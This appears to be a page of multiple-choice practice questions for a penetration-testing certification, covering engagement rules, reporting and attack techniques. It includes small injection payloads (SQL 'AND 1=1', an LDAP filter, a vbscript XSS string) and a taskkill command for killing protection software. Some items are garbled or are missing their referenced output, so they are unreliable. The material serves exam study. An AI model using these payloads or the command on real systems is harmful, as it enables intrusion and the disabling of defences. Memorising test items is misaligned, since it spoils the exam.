best for the consultant to use to terminate the protection software and its child processes?

Options:

A.

taskkill /PID /T /F

B.

taskkill /PID /IM /F

C.

taskkill /PID /S /U

D.

taskkill /PID /F /P

Question 98

A penetration tester is taking screen captures of hashes obtained from a domain controller. Which of the following best explains why the penetration tester should immediately obscure portions of the images before saving?

Options:

A.

To maintain confidentiality of data/information

B.

To avoid disclosure of how the hashes were obtained

C.

To make the hashes appear shorter and easier to crack

D.

To prevent analysis based on the type of hash

Question 99

Which of the following types of information would most likely be included in an application security assessment report addressed to developers? (Select two).

Options:

A.

Use of non-optimized sort functions

B.

Poor input sanitization

C.

Null pointer dereferences

D.

Non-compliance with code style guide

E.

Use of deprecated Javadoc tags

F.

A cyclomatic complexity score of 3

Question 100

Given the following user-supplied data:

AND 1=1

Which of the following attack techniques is the penetration tester likely implementing?

Options:

A.

Boolean-based SQL injection

B.

Time-based SQL injection

C.

Stored cross-site scripting

D.

Reflected cross-site scripting

Question 101

A potential reason for communicating with the client point of contact during a penetration test is to provide resolution if a testing component crashes a system or service and leaves them unavailable for both legitimate users and further testing. Which of the following best describes this concept?

Options:

A.

Retesting

B.

De-escalation

C.

Remediation

D.

Collision detection

Question 102

A penetration testing firm performs an assessment every six months for the same customer. While performing network scanning for the latest assessment, the penetration tester observes that several of the target hosts appear to be residential connections associated with a major television and ISP in the area. Which of the following is the most likely reason for the observation?

Options:

A.

The penetration tester misconfigured the network scanner.

B.

The network scanning tooling is not functioning properly.

C.

The IP ranges changed ownership.

D.

The network scanning activity is being blocked by a firewall.

Question 103

A penetration tester captures SMB network traffic and discovers that users are mistyping the name of a fileshare server. This causes the workstations to send out requests attempting to resolve the fileshare server's name. Which of the following is the best way for a penetration tester to exploit this situation?

Options:

A.

Relay the traffic to the real file server and steal documents as they pass through.

B.

Host a malicious file to compromise the workstation.

C.

Reply to the broadcasts with a fake IP address to deny access to the real file server.

D.

Respond to the requests with the tester's IP address and steal authentication credentials.

Question 104

Which of the following tools would be the best to use to intercept an HTTP response of an API, change its content, and forward it back to the origin mobile device?

Options:

A.

Drozer

B.

Burp Suite

C.

Android SDK Tools

D.

MobSF

Question 105

A penetration tester executes the following Nmap command and obtains the following output:

Which of the following commands would best help the penetration tester discover an exploitable service?

A)

B)

C)

D)

Options:

A.

nmap -v -p 25 -- soript smtp-enum-users remotehost

B.

nmap -v -- script=mysql-info.nse remotehost

C.

nmap --ocript=omb-brute.noe remotehoat

D.

nmap -p 3306 -- script "http*vuln*" remotehost

Question 106

Which of the following should be included in scope documentation?

Options:

A.

Service accounts

B.

Tester experience

C.

Disclaimer

D.

Number of tests

Question 107

Which of the following is the most common vulnerability associated with loT devices that are directly connected to the internet?

Options:

A.

Unsupported operating systems

B.

Susceptibility to DDoS attacks

C.

Inability to network

D.

The existence of default passwords

Question 108

A penetration tester is testing a company's public API and discovers that specific input allows the execution of arbitrary commands on the base operating system. Which of the following actions should the penetration tester take next?

Options:

A.

Include the findings in the final report.

B.

Notify the client immediately.

C.

Document which commands can be executed.

D.

Use this feature to further compromise the server.

Question 109

A penetration tester discovers passwords in a publicly available data breach during the reconnaissance phase of the penetration test. Which of the following is the best action for the tester to take?

Options:

A.

Add thepasswords to an appendix in the penetration test report.

B.

Do nothing. Using passwords from breached data is unethical.

C.

Contactthe client and inform them of the breach.

D.

Use thepasswords in a credential stuffing attack when the external penetration test begins.

Question 110

A penetration testing firm wants to hire three additional consultants to support a newly signed long-term contract with a major customer. The following is a summary of candidate

background checks:

Which of the following candidates should most likely be excluded from consideration?

Options:

A.

Candidate 1

B.

Candidate 2

C.

Candidate 3

D.

Candidate 4

Question 111

Which of the following best explains why communication is a vital phase of a penetration test?

Options:

A.

To discuss situational awareness

B.

To build rapport with the emergency contact

C.

To explain the data destruction process

D.

To ensure the likelihood of future assessments

Question 112

After performing a web penetration test, a security consultant is ranking the findings by criticality. Which of the following standards or methodologies would be best for the consultant to use for reference?

Options:

A.

OWASP

B.

MITRE ATT&CK

C.

PTES

D.

NIST

Question 113

A penetration tester is enumerating shares and receives the following output:

Which of the following should the penetration tester enumerate next?

Options:

A.

dev

B.

print$

C.

home

D.

notes

Question 114

During an assessment, a penetration tester discovers the following code sample in a web application:

"(&(userid=*)(userid=*))(I(userid=*)(userPwd=(SHAl}a9993e364706816aba3e25717850c26c9cd0d89d==))

Which of the following injections is being performed?

Options:

A.

Boolean SQL

B.

Command

C.

Blind SQL

D.

LDAP

Question 115

An external consulting firm is hired to perform a penetration test and must keep the confidentiality of the security vulnerabilities and the private data found in a customer's systems. Which of the following documents addresses this requirement?

Options:

A.

ROE

B.

NDA

C.

MOU

D.

SLA

Question 116

A penetration tester requested, without express authorization, that a CVE number be assigned for a new vulnerability found on an internal client application. Which of the following did the penetration tester most likely breach?

Options:

A.

ROE

B.

SLA

C.

NDA

D.

SOW

Question 117

A company developed a new web application to allow its customers to submit loan applications. A penetration tester is reviewing the application and discovers that the application was developed in ASP and used MSSQL for its back-end database. Using the application's search form, the penetration tester inputs the following code in the search input field:

IMG SRC=vbscript:msgbox ("Vulnerable_to_Attack") ; >originalAttribute="SRC"originalPath="vbscript;msgbox ("Vulnerable_to_Attack ") ;>"

When the tester checks the submit button on the search form, the web browser returns a pop-up windows that displays "Vulnerable_to_Attack." Which of the following vulnerabilities did the tester discover in the web application?

Options:

A.

SQL injection

B.

Command injection

C.

Cross-site request forgery

D.

Cross-site scripting

Question 118

An organization's Chief Information Security Officer debates the validity of a critical finding from a penetration assessment that was completed six months ago. Which of the following post-report delivery activities would have most likely prevented this scenario?

Options:

A.

Client acceptance

B.

Data destruction process

C.

Attestation of findings

D.

Lessons learned

Question 119

Which of the following members of a client organization are most likely authorized to provide a signed authorization letter prior to the start date of a penetration test?

Options:

A.

The IT department

B.

The executive management team and legal personnel

C.

Organizational security personnel

D.

The human resources team

Question 120

During a client engagement, a penetration tester runs the following Nmap command and obtains the following output:

nmap -sV -- script ssl-enum-ciphers -p 443 remotehost

| TLS_ECDHE_ECDSA_WITH_RC4_128_SHA

| TLS_ECDHE_RSA_WITH_RC4_128_SHA

| TLS_RSA_WITH_RC4_128_SHA (rsa 2048)

TLS_RSA_WITH_RC4_128_MD5 (rsa 2048)

Which of the following should the penetration tester include in the report?

Options:

A.

Old, insecure ciphers are in use.

B.

The 3DES algorithm should be deprecated.

C.

2,048-bit symmetric keys are incompatible with MD5.

D.

This server should be upgraded to TLS 1.2.

Page: 1 / 30
Total 400 questions